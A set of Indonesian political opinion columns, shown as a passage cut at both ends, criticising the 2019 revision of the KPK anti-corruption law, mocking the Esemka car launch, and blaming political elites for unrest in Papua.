juga karena mereka masih belum selesai mengumpulkan duit sebanyak-banyaknya. Mengumpulkan duit besar tentu berisiko besar pula. Tidak mudah untuk menyembunyikan transaksi super-jumbo di tengah operasi tangkap tangan (OTT) KPK yang tak bisa dikendalikan oleh siapa pun. Karena itu, KPK dirasakan sebagai penghalang. Harus dikebiri. Harus dihabisi wewenangnya. Wajar diakui bahwa KPK telah membuat PDIP kecewa dan malu. Di mana-mana, kader Banteng tertangkap basah melakukan transaksi korupsi. LSM antikorupsi, Indonesian Corruption Watch (ICW) membuat grafik partai politik yang paling korup dalam periode 2002 sampai 2014. PDIP menempati urutan teratas. Disusul Golkar, PAN, PKB, dan parpol-parpol lain. Tercatat 157 kader PDIP, 113 kader Golkar, 41 kader PAN, 34 dari PKB, dst, yang masuk jaring KPK (data KPK Watch). Di awal tahun ini, di bulan Februari 2019, ledakan dahsyat kasus korupsi menggemparkan seluruh pelosok Nusantara. Bupati Kota Waringin Timur, Supian Hadi, ditetapkan oleh KPK sebagai tersangka korupsi 5.8 triliun. Inilah rekor terbesar kerugian negara, mengalahkan kasus BLBI 4.5 triliun atau skandal KTP-el 2.3 triliun. Supian Hadi adalah kader PDIP. Salah seorang penggagas revisi dari PDIP, Masinton Pasaribu, sudah sejak lama tidak cocok dengan KPK. Di tahun 2015, dia pernah mengusulkan penggunaan hak inisiatif DPR untuk mengubah UU KPK. Menurut catatan situs JejakParlemen-id, pada 18 Februari 2018, di DPR, berlangsung rapat evaluasi KPK yang dihadiri pimpinan KPK. Di sini, Masinton mengkritik habis kinerja lembaga antikorupsi itu. Masinton mempertanyakan mengapa KPK tidak membawa kasus Pelindo II ke pengadilan padahal sudah memiliki dua barang bukti. Dalam hal ini, Masinton benar 100 persen. KPK seharusnya tidak menunjukkan keanehan terkait kasus Pelindo II. Audit BPK sudah menegaskan kerugian negara akibat skandal ini. Tidak ada alasan bagi KPK untuk mengulur-ulur waktu. Ada kesan, KPK tak berani. Atau, terkesan mau melindungi orang-orang tertentu yang menjadi aktor utama skandal Pelindo II. Masih di bulan Februari 2018, dalam rapat rekomendasi Pansus KPK, Masinton Pasaribu mengklarifikasi sikap PDIP tentang eksistensi KPK. Dia mengatakan, partainya konsisten untuk memperkuat pemberantasan korupsi yang dilakukan KPK. Tetapi, dia menambahkan perlu ada perbaikan KPK berdasarkan hasil temuan-temuan Pansus KPK. Bahkan Masinton mendukung penambahan anggaran KPK demi pemberantasan korupsi. Penilaian dan penegasan Masinton itu tentu pantas diapresiasi. Tetapi, mengapa sekarang PDIP ingin menghancurkan KPK?

Tanduk Presiden dan DPR Mengarah ke KPK

Pantas saja Wakil Ketua KPK, Laode Muhammad Syarif, mengkritik keras sikap DPR dan pemerintah. Dia menyebut DPR dan pemerintah telah membohongi rakyat Indonesia. Ini karena dalam program-program kerja mereka selalu menyuarakan penguatan KPK. "Tapi pada kenyataannya mereka berkonspirasi melemahkan KPK secara diam-diam," tandasnya. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Bulan ini menjadi September kelabu bagi komisi antirasuah, KPK. Gencarnya operasi tangkap tangan atau OTT KPK terhadap sejumlah kepala daerah dan partnernya ditingkahi perlawanan kaum politisi di Senayan. Anggota legislatif mengajukan inisiatif perubahan UU Nomor 30 Tahun 2002 tentang Komisi Pemberantasan Korupsi. Di sisi lain, Istana telah mengirim sepuluh nama calon pimpinan KPK kepada DPR dari hasil seleksi pansel yang oleh banyak kalangan dianggap bermasalah. “KPK di ujung tanduk,” seru Ketua KPK, Agus Rahardjo, Kamis (5/9). KPK memang selalu berhadapan dengan banyak mafia. Seperti kita tahu, kerja KPK selama ini antara lain adalah menggelandang koruptor ke bui. Para koruptor itu kebanyakan pejabat negara. Para pejabat itu mayoritas kader partai politik. Partai politik punya kaki tangan, anggota, dan simpatisan di semua lini pemerintahan. DPR adalah pusat pertemuan para politikus. Mereka juga ada di sekitar istana. Bahkan Presiden Joko Widodo adalah kader Partai Demokrasi Indonesia Perjuangan atau PDIP. Dia petugas partai, begitu Ketua Umum PDIP, Megawati Soekarnoputri menyebut. Secara spesifik Agus tidak menunjuk ujung tanduk siapa yang diarahkan ke KPK. Hanya saja, publik sudah cukup paham upaya mengkerdilkan KPK sudah dimulai dari pembentukan panitia seleksi calon pimpinan KPK, seleksi capim, sampai lahirnya sepuluh figur yang di dalamnya ada nama-nama yang “bermasalah”. Para pegiat antikorupsi sudah mencereweti semua itu. Ada anggota pansel KPK dari unsur tidak netral. Pansel Capim KPK terkesan mengistimewakan calon dari Polri untuk tetap lolos meski calon tersebut punya catatan buruk. Dalam Pansel ada Indiryanto Seno Adji dan Hendardi. Keduanya bekerja sebagai penasihat Kapolri Tito Karnavian. Presiden Joko Widodo tidak mempedulikan semua cerewetan itu. Anjing menggongong, kafilah tetap berlalu. Ada dugaan, Jokowi berusaha meloloskan calon yang bisa "mengawal" pendukungnya lolos dari jeratan KPK. Jokowi menyerahkan sepuluh nama hasil pansel tanpa revisi sedikit pun kepada DPR untuk dipilih menjadi lima nama. Sudah bisa diduga, lima nama itu tentu akan disesuaikan keinginan Presiden. Maklum saja, kebanyakan anggota DPR adalah dari partai penyokong Jokowi. Ketua Umum Yayasan Lembaga Bantuan Hukum Indonesia (YLBHI), Asfinawati, mengungkap di antara para capim itu ada yang ingin fungsi penyidikan di KPK hilang. Padahal, KPK ada justru untuk melakukan penyidikan terhadap kasus-kasus korupsi. Ada juga capim yang berasal dari organisasi yang pernah menghambat proses pengungkapan kasus korupsi, tersangkut masalah etik, bahkan berniat menghilangkan OTT. "Jadi bisa dibayangkan, OTT enggak ada, pencegahan tidak ada, penyidikan dihilangkan. Jadi sebetulnya apa yang tersisa dari KPK? Tidak ada," ujarnya. Kerja Sama Istana-Senayan Kembali ke urusan tanduk. Dari rentetan peristiwa itu maka patut dicurigai tanduk Presiden Jokowi mengarah ke KPK. Ada semacam kerja sama yang apik antara Istana dengan Senayan untuk mengebiri KPK. Pernyataan Agus bahwa “KPK di ujung tanduk” dilontarkan menyusul keluarnya hasil Rapat Paripurna DPR RI yang salah satunya adalah sebanyak sepuluh fraksi sepakat revisi UU Nomor 30 Tahun 2002. Pernyataan itu juga tidak lama setelah Presiden menyerahkan 10 nama capim KPK. Anggota Badan Legislasi DPR RI, Masinton Pasaribu, mengakui langkah mengajukan revisi UU KPK dilakukan karena pemilihan pimpinan baru KPK sedang berproses saat ini. UU KPK hasil revisi, kata dia, diharapkan bisa digunakan oleh jajaran pimpinan KPK periode 2019-2023 yang akan mulai menjabat pada Desember 2019. Ajaibnya, Wakil Ketua DPR, Fadli Zon dan Presiden Jokowi seakan-akan buang badan. “”Belum tahu saya. Nanti saya cek. Saya juga belum lihat detilnya seperti apa. Itu akan dibahas sesuai mekanisme sendiri nantinya seperti apa,” jawab Fadli, saat dikonfirmasi mengenai pengesahan revisi UU KPK yang mendadak itu. Jokowi juga begitu. "Itu inisiatif DPR," tukasnya, seperti dikutip melalui video resmi yang diunggah Sekretariat Kepresidenan, Kamis (5/9). "Saya belum tahu. Jadi saya belum bisa sampaikan apa-apa," lanjutnya. Cara buang badan begini sungguh sangat disayangkan. "Ini merupakan lonceng kematian bagi KPK sekaligus memupus harapan rakyat akan masa depan pemberantasan korupsi," ujar Yudi Purnomo, Ketua Wadah Pegawai KPK, Jumat (6/9). Yudi menginformasikan bahwa pegawai KPK akan menggelar bentuk protes penolakan revisi UU KPK secara simbolik membuat rantai manusia. Dia mencatat, setidaknya terdapat sembilan persoalan di draf RUU KPK yang berisiko melumpuhkan kerja KPK. Pertama, independensi KPK terancam. Kedua, penyadapan dipersulit dan dibatasi. Ketiga, pembentukan Dewan Pengawas yang dipilih oleh DPR. Keempat, sumber penyelidik dan penyidik dibatasi. Kelima, penuntutan perkara korupsi harus berkoordinasi dengan Kejaksaan Agung. Keenam, perkara yang mendapat perhatian masyarakat tidak lagi menjadi kriteria. Ketujuh, kewenangan pengambilalihan perkara di penuntutan dipangkas. Kedelapan, kewenangan-kewenangan strategis pada proses penuntutan dihilangkan. Kesembilan, kewenangan KPK untuk mengelola pelaporan dan pemeriksaan LHKPN dipangkas. Pantas saja Wakil Ketua KPK, Laode Muhammad Syarif, mengkritik keras sikap DPR dan pemerintah. Dia menyebut DPR dan pemerintah telah membohongi rakyat Indonesia. Ini karena dalam program-program kerja mereka selalu menyuarakan penguatan KPK. "Tapi pada kenyataannya mereka berkonspirasi melemahkan KPK secara diam-diam," tandasnya. Revisi UU KPK merupakan inisiatif DPR. Namun, RUU itu tidak akan mungkin dapat menjadi UU jika Presiden Jokowi menolak dan tidak menyetujui RUU tersebut. Undang-undang dibentuk berdasarkan persetujuan DPR dan Presiden. Di sinilah rakyat menunggu sikap presiden. Jokowi mesti konsisten tentang janjinya yang pernah diucapkan: tidak akan melemahkan KPK. Jika Presiden ingkar janji, maka tak hanya di ujung tanduk, KPK akan dikebiri, dihilangkan kejantanannya. KPK berada di tubir jurang. Pantas saja banyak pihak menyerukan, “save KPK”!

Lonceng Kematian KPK di Tangan Jokowi

Presiden Jokowi terkesan begitu mudah percaya kepada hasil penilian pansel. Presiden percaya kepada pansel tanpa menimbang dulu masukan dari koalisi masyarakat sipil terhadap rekam jejak kandidat-kandidat capim yang bermasalah. Oleh Andi W. Syahputra Jakarta, FNN - Sebuah harian terkemuka edisi hari ini (6/9/2019) memuat sebuah ulasan berita dengan judul yang cukup menarik. “Nasib KPK di Tangan Presiden.” Begitu kira-kira judul berita itu yang terbit persis dengan satu hari selepas Rapat Paripurna DPR (5/9/2019) dengan suara bulat sepakat mengajukan revisi UU-KPK agar dijadikan sebagai RUU atas usul inisiatif DPR. Yang menarik dari pemberitaan itu adalah adanya operasi senyap yang dilakukan oleh Badan Legislasi (Baleg) DPR dalam mempercepat proses pengusulan revisi UU-KPK. Rupanya diam-diam rancangan itu telah dilakukan pembahasan beberapa kali dalam waktu amat singkat di internal Baleg DPR. Seolah ada tenggat waktu yang dikejar. Tulisan ini bukan bermaksud untuk membahas pasal demi pasal yang dinilai perlu dilakukan revisi. Tapi lebih pada menyoroti peran seorang Presiden dalam mengakomodasi tuntutan publik. Masyarakat sangat mengehendaki presiden melakukan upaya-upaya menyelamatkan lembaga anti rasuah ini agar tidak jatuh terpuruk. Sebagai kepala Negara, Presiden Jokowi tak boleh diam diri. Tidak boleh bersikap netral yang berlarut-larut. Tidak boleh membiarkan KPK diobok-obok tak berkesudahan. Sikap tegas presiden harus diambil. Tak bertindak cepat sama artinya mempertontokan lunturnya komitmen Jokowi pada pemberantasan korupsi. Substansinya serupa dengan berita harian edisi hari ini. Mengingatkan Presdien Jokowi agar tidak mengulangi kesalahan dua kali. Jokowi harus bersikap waspada terhadap anasir-anasir lingkar dalam kekuasaannya. Orang-orang di lingkaran presiden, ada yang tidak kapok-kapoknya berupaya melemahkan eksistensi KPK. Harus diakui, skenario drama baru pelemahan KPK ini bermula dari Presiden Jokowi. Presiden yang keliru membuka langkah penentu langgam permainan. Untuk itu, Presiden layak dikritik lantaran dinilai sembrono dan menyerah terhadap desakan segelintir elit politik yang bermain lewat pansel KPK. Mereka berusaha menggolkan kandidat-kandidat capim KPK yang dinilai punya rekam jejak bermasalah. Presiden Jokowi terkesan begitu mudah percaya kepada hasil penilian pansel. Presiden percaya kepada pansel tanpa menimbang dulu masukan dari koalisi masyarakat sipil terhadap rekam jejak kandidat-kandidat capim yang bermasalah. Banyak kandidat capim KPK yang punya rekam jejak buruk. Terutama terhadap capim yang bermasalah, karena diduga belum menyerahkan Laporan Harta Kekayaan Penyelenggara Negara (LHKPN). Ada juga capim yang diduga melakukan pelanggaran kode etik. Kendati demikian, penilaian itu dibantah oleh Presiden Jokowi dengan narasi yang normative. Alasan Jokowi, terhadap semua capim yang diusulkan, telah dilakukan penelusuran dan pemeriksaan mendalam. Faktanya, Presiden terkesan tergesa-gesa menyerahkan sepuliuh nama capim kepada DPR dalam waktu begitu singkat. Hanya dua hari selepas diserahkan oleh pansel kepada presiden. Sikap Presiden Jokowi itu dinilai publik justru mempercepat lonceng kematian KPK. Tentu publik patut bertanya, langkah Presiden Jokowi yang begitu cepat menyampaikan sepuluh nama capim KPK untuk segera dipilih DPR. Anehnya, pada waktu bersamaan, DPR mengajukan usulan draft revisi UU-KPK. Ada gerangan apa ini? Boleh jadi langkah super cepat ini ditafsirkan publik sebagai upaya untuk menjinakan KPK. Pemerintah rupanya butuh pengamanan. Iya, pengamanan. Terutama pengamanan terhadap adanya kepastian terkait pelaksanaan pembangunan infrastruktur yang pembiayaannya didominasi oleh hutang luar negeri tak boleh terganggu oleh operasi KPK. Untuk itu, KPK mesti dibungkam. Salah satunya dengan melakukan operasi distorsi kewenangan. Caranya, dengan mempreteli kewenangan yang selama ini dinikmati oleh KPK. Selain itu, distorsi peran terhadap penyidik-penyidik senior di KPK. Mereka yang selama ini dinilai sebagai penggerak operasi-operasi yang dilakukan oleh KPK. Akhir-akhir ini operasi KPK itu mulai menyasar kepada beberapa Direksi BUMN. Umumnya pada pilpres tempo hari para Direksi BUMN dianggap turut berjasa memenangkan Jokowi. Dalam spektrum yang lebih luas, pemerintah kuatir operasi KPK itu menembus jantung kerja sama BUMN dengan korporasi-korporasi China dalam pembangunan infrastruktur. Dua Alasan Revisi Dalam kaitannya dengan kerja sama operasional pembangunan infrastruktur, menurut KPK, ekspansi bisnis dan investasi China ke Indonesia perlu dicermati. Investasi lewat Belt and Road Initiative (BRI) yang operasionalnya bekerja sama dengan BUMN patut diwaspadai. Kenyataannya, meski terkesan positif, proyek BRI China banyak dikritik karena dianggap sebagai jebakan hutang bagi negara berkembang. Untuk Indonesia, persoalannya bukan hanya semata hutang. Banyak pihak juga mencurigai BRI sebagai akal-akalan pemerintah China untuk menguasai kepemilikan proyek infrastruktur dalam negeri. Alasan KPK sangat masuk akal. Korporasi asal China dikenal tidak punya prinsip anti korupsi. Bagi KPK, kerja sama bisnis itu mesti diwaspadai. Rupanya kekuatiran KPK cukup punya alasan. Transparansi Internasional (TI) telah melakukan survey. Hasilnya dirilis pada tahun 2011 melibatkan sekitar 3.000 eksekutif perusahaan di 28 negara ekonomi besar, termasuk Indonesia. Semua negara anggota kelompok 20 (G-20) dilibatkan dalam survey. Sebanyak 28 negara yang disurvey itu, dinilai maju secara ekonomi. Dari hasil survey itu diketahui, China dan Rusia berada di peringkat paling bawah, yakni di posisi ke-27 dan 28. Itu artinya perusahaan pada dua negara tersebut ”paling curang”. Juga paling suka menyuap untuk melancarkan kegiatan bisnisnya, baik di dalam maupun luar negeri. Menurut peneliti TI, Elena Panfilova, hampir tidak ada lagi kejujuran dalam kehidupan bisnis yang berlaku pada korporasi China. Menurutnya, kemungkinan suap yang dibayarkan dari sebuah perusahaan swasta kepada yang lain ”adalah hampir setinggi penyuapan pejabat publik di semua sektor”. Elena Panfilova mengatakan, ”Penyuapan juga bisa disamarkan melalui penawaran hadiah bagi klien dan hospitalitas perusahaan yang tak dinilai.” Kondisi itu amat memprihatinkan. Sebab, perusahaan kedua negara, terutama China, saat ini merajai hampir semua benua. China juga sudah menancapkan taring bisnisnya ke Afrika dan Amerika Selatan. Juga di negara-negara di Asia, Eropa, dan juga Amerika. Penyuapan dan korupsi pasti akan memberikan dampak yang besar bagi lingkungan bisnis mereka. Tidak salah bila kita berkesimpulan kerja sama operasional BUMN dengan korporasi China di sini tak luput diwarnai dengan praktik suap. Tak adil bila menimpakan penilaian buruk hanya kepada faktor di luar tubuh KPK. Mesti diakui pula, sebagian alasan untuk melakukan revisi UU-KPK justru ada di tubuh KPK sendiri. Sedari awal KPK berdiri, para komisioner boleh dibilang gagal dalam merumuskan road map pemberantasan korupsi nasional yang berkelanjutan. Road map pemberantasan korupsi harus berbasis pada prioritas bidang penggarapan yang dilakukan secara konsisten. Baru kemudian pada tahun 2012, road map pemberantasan korupsi nasional baru selesai dirumuskan. Namun dalam hal penanganan grand corruption, sistem integritas nasional, dan fraud control system, ternyata fungsi-fungsi tersebut terabaikan. Penanganannya belum menjadi prioritas utama. Publik masih menilai kasus mega korupsi tak tertangani optimal dan jauh dari dari rasa keadilan publik. Kasus-kasus mega korupsi seperti BLBI, Century, e-ktp dan Pelindo tak berhasil terungkap tuntas. Sementara bagi Jokowi sendiri, maraknya operasi tangkap tangan yang semarak dilakukan KPK justru dinilai sebagai kegagalan KPK. Lembaga anti rasuah ini gagal dalam membangun sistem integrasi nasional. KPK juga gagal memberikan efek jera bagi para koruptor, sehingga praktik korupsi tak lagi sebagai perbuatan tabu yang menakutkan. Bagi Jokowi, keberhasilan KPK ada pada kuatnya fungsi pencegahan bekerja. Lantaran dua alasan inilah Presiden Jokowi sejatinya menghendaki KPK perlu segera diruwat. Komitmen Presiden Terlepas dari adanya kelemahan KPK itu, Presiden Jokowi sendiri pernah diragukan komitmennya dalam pemberantasan korupsi. Keraguan itu muncul lantaran pada tahun 2017 berencana membentuk Detasemen Khusus Tindak Pidana Korupsi (Densus Tipikor) Polri. Alokasi anggarannya disiapkan sebesar 2,6 trilyun. Jumlah ini setara dengan anggaran KPK. Saat itu publik menilai, Presiden Jokowi hendak melemahkan KPK dengan mendistorsi kelembagaan. Pembentukan Detasement khusus pemberantasan korupsi di bawah Polri, yang nantinya berfungsi serupa dengan KPK merupakan upaya strategis presiden guna mengambil alih dan mereduksi kewenangan KPK. Secara gradual, Detasemen ini akan mengoptimalkan unit tipikor yang kini mati suri. Boleh jadi lantaran alasan anggaran, pembentukan Detasemen itu mendadak ditunda. Kendati begitu, ternyata Presiden Jokowi pernah pula menghentikan pembahasan revisi UU-KPK di DPR tahun 2016. Namun, tak berbuat banyak saat DPR kembali menggulirkan usulan revisi UU-KPK tahun 2017, tetapi ditolak rakyat. Lantas, bagaimana sikap Presiden selanjutnya? Bagaimana pun Presiden Jokowi mesti bersikap. Kepemimpinan Jokowi yang kuat dengan dukungan koalisi parpol di Parlemen dinilai mempuyai real politic yang lebih solid ketimbang kepemimpinan sebelumnya. Modal politik ini semestinya bisa digunakan untuk mencegah pelemahan KPK yang terus berlanjut. Sebagai langkah awal, dengan dukungan besar dari koalisi parpol, Jokowi dinilai mampu untuk mengendalikan parlemen. Jokowi harus menekan parlemen supaya tidak lagi meneruskan pembahasan Revisi UU-KPK. Begitu juga Jokowi perlu menghentikan pemilihan nama-nama capim KPK. Sebab ada yang terbukti tersangkut pelanggaran kode etik. Dua upaya minimal itu harus segera dilakukan oleh Presiden. Apabila praktik distorsi kelembagaan terhadap KPK terus dibiarkan, justru dikuatirkan menguatnya oligarki kekuasaan elit politik. Para juragan politik diduga punya hidden agenda dalam upaya melemahkan KPK akan terbukti. Bila hal itu terjadi, ke depan pemberantasan korupsi akan berjalan di bawah bayang-bayang kendali elit politik. Kondisi bisa terjadi lantaran kinerjanya mengabaikan kaidah-kaidah rule of the law yang berlaku. Ataukah, usulan revisi UU-KPK kali ini hanya sekedar sandiwara belaka guna mengukuhkan peran Presiden sebagai pendekar pemberantasan korupsi? Walllahu’alam bi sawab Penulis adalah Lawyer dan Pemerhati Masalah Korupsi

Selamat untuk Esemka, Tapi Kiyai Ma’ruf ke Mana?

By Asyari Usman (Wartawan Senior) Jakarta, FNN - Kita semua harus fair. Ketika Jokowi berhasil mewujudkan mobil Esemka, mari kita ucapkan selamat. Ucapkan ‘bravo’! Telah berhasil merealisasikan mobil buatan PT Solo Manufaktur Kreasi (SMK) di Boyolali, Jawa Tengah. Jokowi, kemarin (6/9/2019) meresmikan pabrik mobil itu. Dipajanglah Esemka Bima-1. Model pickup. Spesifikasi mobil ini mirip dengan mobil pickup Changan Star Truck yang dibuat di RRC. Kedua pickup ini memiliki mesin yang persis sama daya tariknya, yaitu 1,243-CC. Cuma, agak mengherankan mengapa Presiden Jokowi membuat ‘disclaimer’ alias pernyataan ‘lepas tangan’. Bahwa mobil yang dibuat di Desa Demangan itu bukan mobil nasional (mobnas)."Esemka ini hanya perusahaan nasional, jadi bukan mobil nasional,” kata Jokowi ketika meresmikannya. Dirut PT SMK, Eddy Wirajaya, juga membuat pernyataan ‘lepas tangan’ (disclaimer). "Kami (maksudnya Esemka-red) bukan mobil nasional, hanya mobil yang diproduksi di Indonesia. Jadi, jangan salah persepsi, karena pengertian mobil nasional itu luas," kata Eddy belum lama ini. Jadi, kalau bukan mobil nasional, mau disebut apa kira-kira? Untuk sementara kita sebut saja ‘mobil politik’. Sebab, Esemka adalah janji politik Jokowi. Esemka menjadi viral di negara ini. Menjadi salah satu front pertarungan politik Jokowi. Dia memanfaatkan Esemka untuk membangun citra politiknya. Tapi, peresmian Esemka kemarin itu bersuasana antiklimaks. Tidak ada lagi semangat nasionalisme di situ. Tidak ada yang berani mengklaim Bima-1 sebagai karya nasional. Jokowi jujur. Dirut SMK juga jujur. Alhamdulillah. Karena kejujuran itulah publik pantas mengucapkan selamat atas peresmian mobil politik ini. Orang yang pensaran dengan Bima-1, tidak perlu lagi melakukan investigasi atau penelusuran. Semua sudah jelas. Mobil ini hasil rakitan saja. PT SMK itu hanya ‘assembly plant’. Cuma pabrik perakitan. Semua komponen dibawa entah dari mana, kemudian diskrup menjadi Esemka. Biaya pabriknya juga cukup hanya 600 miliar. Harus diakui terlalu murah untuk disebut sebagai mobil nasional. Sebelum pamit, saya teringat Kiyai Ma’ruf Amin. Lebih setahun yang lalu, beliau mengumumkan bahwa mobil Esemka akan diproduksi pada bulan Oktober 2018. Waktu itu, janji Pak Kiyai tak terbukti. Pak Kiyai dibully habis oleh netizen. Nah, agak mengherankan kenapa Pak Kiyai tidak diajak dalam peresmian kemarin? Bukankah beliau telah mempertaruhkan reputasinya sampai babak-belur gara-gara Esemka? Ke mana Kiyai Ma’ruf? Seharusnya peresmian itu menjadi historis dan histeris bagi Pak Kiyai. Walaupun momentum Esemka-nya sudah lenyap. Hehe!

Mobil Esemka: Produksi Boyolali, Tampang Kok Mirip Cina?

Oleh : Hersubeno Arief Jakarta, FNN - Dalam soal bajak membajak dan meniru produk, Cina memang dikenal sebagai jagoan. Semua produk dan merek terkenal di dunia, Cina bisa membuat tiruannya. Namun kelakuan Cina kali ini sungguh keterlaluan. Mobil Esemka Bima 1.2 baru saja diresmikan Presiden Jokowi, Selasa (6/9). Dalam hitungan jam “tiruannya” sudah dibuat oleh Cina. Di media sosial, gambar mobil “tiruan” Esemka Bima 1.2 langsung beredar. Viraalllll. Bentuknya sama persis. Hanya mereknya yang berbeda: Changan Star Truck. Kalau Anda sempat memperhatikan, dijamin hanya akan bisa geleng-geleng kepala. Secara keseluruhan, tidak ada perbedaan sama sekali. Bentuk, desain, dan ukuran sama. Sekali lagi hanya merek alias emblemnya yang berbeda. Jangan terlalu serius dulu dan buruk sangka. Dugaan “pembajakan” mobil Esemka itu hanya olok-olok di kalangan para pegiat medsos. Harap dimaklumi kalau banyak yang sinis dengan peluncuran mobil Esemka. Publik telah terlalu lama menunggu mobil nasional yang dijanjikan oleh Presiden Jokowi. Sudah 7 tahun lebih! Berkali-kali dijanjikan akan dirilis. Namun selalu urung dan tidak ketahuan juntrungannya. (Sejak tahun 2012) Mobil Esemka yang disebut-sebut sebagai embrio mobil nasional, pertama kali bikin heboh, saat Jokowi menjadi Walikota Solo (2012). Awalnya merupakan karya para siswa Jurusan Otomotif Sekolah Menengah Kejuruan Negeri (SMKN) 1 Trucuk, Klaten, Jawa Tengah. Para siswa SMK itu dibimbing oleh Sukiyat pemilik bengkel Kiat di Klaten. Sebagai Walikota Solo, pada 2 Januari 2012 Jokowi menerima mobil Esemka. Mobil jenis Sport Utility Vihicle (SUV) kemudian diberi plat nomor AD 1 A. Sesuai dengan plat kendaraan dinas walikota. Jokowi bahkan sampai rela mengandangkan mobil dinasnya yang lebih mewah, Toyota Camry. Mobil dengan kapasitas mesin 1.500 cc itu dikemudikan sendiri oleh Jokowi. Wakil Walikota FX Hadi Rudyatmo juga menerima kendaraan serupa. Mobil yang sangat dibanggakan Jokowi itu dikalim 80 persen komponennya dibuat oleh siswa SMK, dari berbagai sekolah di Solo dan Klaten. ”Saya bangga memakai buatan anak negeri sendiri. Kalau saya ada urusan di Jakarta, Semarang, atau daerah lain, akan saya pakai,” kata Jokowi kala itu. Untuk meyakinkan bahwa mobil tersebut layak dikendarai, dilakukan test drive ke Jakarta. Juga uji emisi Euro 2 di Balai Thermodinamika Motal dan Propulsi (BTMP), Serpong, Tangerang. Media super heboh. Puja-puji terhadap Jokowi mengalir tanpa henti. Berkat mobil Esemka ini nama Jokowi melambung. Dari seorang walikota yang relatif kurang dikenal, namanya menjadi perbincangan nasional. Dengan modal Esemka, dia mendapat tiket berlaga dalam Pilkada DKI Jakarta (2012). Bersama pasangannya Basuki Tjahja Purnama (Ahok) dia terpilih menjadi Gubernur DKI. Seperti kita ketahui Jokowi kemudian terpilih menjadi presiden pada Pilpres 2014. Dia kemudian terpilih kembali untuk periode kedua, pada Pilpres 2019. Berbeda dengan karir Jokowi yang terus melambung, nama Esemka justru menghilang. Tak ada kabar beritanya. Beberapa kali muncul sebagai isu dalam beberapa momen penting, namun kemudian kembali menghilang. Nama Esemka kembali menjadi perbincangan pada saat kampanye Pilpres 2019. Cawapres Ma’ruf Amin yang menjadi pasangan Jokowi mengaku, mobil Esemka akan diluncurkan pada bulan Oktober 2018. “Akan diproduksi besar-besaran dan diekspor.” Sampai pilpres berakhir, mobil Esemka yang digadang-gadang Ma’ruf tak kunjung meluncur di jalanan. Kepada wartawan yang mempertanyakan soal kelanjutan produksi mobil Esemka, Jokowi menjawab ringan. "Urusan saya, urusan apa dengan produksi Esemka? Enggak ada urusan pemerintah. Itu dikerjakan penuh oleh industri, dikerjakan penuh oleh swasta," katanya. Jokowi mengaku akan datang meresmikan, bila Esemka benar-benar jadi diproduksi. Kini Jokowi benar-benar meresmikan mobil Esemka. Tidak tanggung-tanggung. Bukan hanya mobil pick up Bima yang dipamerkan. Di pabriknya di Boyolali, ada tiga mobil SUV bongsor yang dipamerkan. Masing-masing diberi nama Garuda 1, Rajawali, dan Moose. Tampilannya cukup sangar dan bersaing dengan mobil-mobil dari merek ternama yang beredar di pasaran. Setelah melakukan test drive, didampingi oleh Menperin Airlangga Hartarto, dan Menhub Budi Karya Sumadi, wajah Jokowi tampak sumringah. Banyak senyum dan tertawa lebar. Jokowi sangat yakin mobil buatan “anak bangsa” itu akan laris manis. Menurutnya rakyat Indonesia harus membelinya. "Jadi memang wajib kita beli, kalau belinya produk impor keterlaluan. Dengan mengucap bismillah saya resmikan pabrik ini beserta fasilitasnya," tutur Jokowi. Mudah-mudahan kali ini mobil Esemka yang diluncurkan adalah mobil nasional dalam arti sebenarnya. Sebab kalau lihat tampilannya, tidak terlalu salah bila ada yang berkesimpulan: Mobil produksi Boyolali itu tampangnya kok mirip dengan mobil Cina ya? End

Sebab-musabab Rusuh Papua. Karena Penghianatan Elite Politik?

Pengkhianatan terhadap bangsa dan negara adalah bentuk pengingkaran terhadap kebenaran sejarah bangsa dan negara yang tersurat dalam Pancasila dan UUD 1945. Termasuk pengingkaran terhadap ketetapan suci Bangsa Indonesia yang diperjuangkan dengan keringat dan darah pejuang. Jakarta, FNN - Negara Kesatuan Republik Indoneaia (NKRI) baru saja merayakan hari ulang tahun yang ke-74. Hari ulang tahun kemerdekaan biasanya dirayakan sebagai momen bersuka cita. Berbangga karena momen bersejarah lepas dari penjajahan. Karena persatuan, kita mencapai kemerdekaan. Maknanya merdeka itu bersatu. Namun pada bulan kemerdekaan kemarin tepatnya pada tanggal 19 Januari 2019 rakyat indonesia dibuat khwatir. Bukannya hari kebahagiaan “persatuan” malah menjadi hari kericuhan “pertengkaran”. Rakyat Papua turun ke jalan melakukan protes kepada pemerintah, yang berujung kantor-kantor pemerintahan menjadi sasaran amukan massa. Protes ini berlangsung di Papua Barat dan Papua. Hal ini diduga karena perlakuan tidak wajar terhadap mahasiswa papua di Surabaya dan Malang, yang berbuntut papua minta merdeka. Kejadian ini bukan tanpa sebab. Keliatan wajah NKRI mulai muram. Apakah karena ada satu dan lain hal terkait para elite negara indonesia di Jakarta?. Daerah yang terletak paling timur indonesia ini memanas. Pemerintah pusat mulai sibuk “grasak-grusuk”mencari solusi. Hingga Panglima TNI dan Kapolri harus berkantor di wilayah papua. Saat ini, Bumi cendrawasih menjadi fokus para elite negara. Hingga segala sektor kehidupan di daerah tersebut dibahas oleh pemerintah pusat. Pasalnya masalah ini menjadi tranding. Elite di Jakarta tidak menginginkan papua lepas dari NKRI, karena tindakan tersebut merupakan pengkhianatan kepada NKRI yang memiliki sejarah yang sama. Lain halnya dengan masalah papua. Para elite negara indonesia tampil ke publik secara terang-terangan mengajukan gagasan untuk amandemen UUD 1945 lagi. Bahkan para elite politik merencanakan akan menambahkan sepuluh kursi untuk pimpinan MPR. Bukannya memikirkan NKRI lagi serius terhadap ancaman disintegrasi bangsa yang menganga di depan mata, para elite negara “gontok-gontokan” merebut jabatan kekuasaan. Ada apa di negara kita?. Apakah ini yang dinamakan the will of power? Saking percaya diri. Elite politik lupa bahwa tujuan amandemen itu untuk siapa. Rakyat kah?, partai politik kah? kelompok tertentu kah?, atau agenda lain?. Entah mereka paham atau tidak. Namun kedudukan para elite negara ini mencerminkan mereka sebagai orang-orang yang pandai. Gagasannya untuk mengganti UUD 1945 dan tatanan sistem NKRI yang merupakan budaya bangsa Indonesia akan terjawab dengan masalah papua hari ini. Bukankah UUD 1945 merupakan manifestasi budaya bangsa sebagai suatu fakta sejarah?. Kalau iya. Maka, amandemen UUD 1945 merupakan agenda perubahan budaya bangsa indonesia ya?. artinya para elite mengingkari fakta sejarah. Apakah tindakan pengingkaran ini adalah suatu penghianatan terhadap bangsa dan negara indonesia?. Sudah barang tentu suatu pengkhianatan yang amat besar. Pengkhianatan terhadap bangsa dan negara adalah 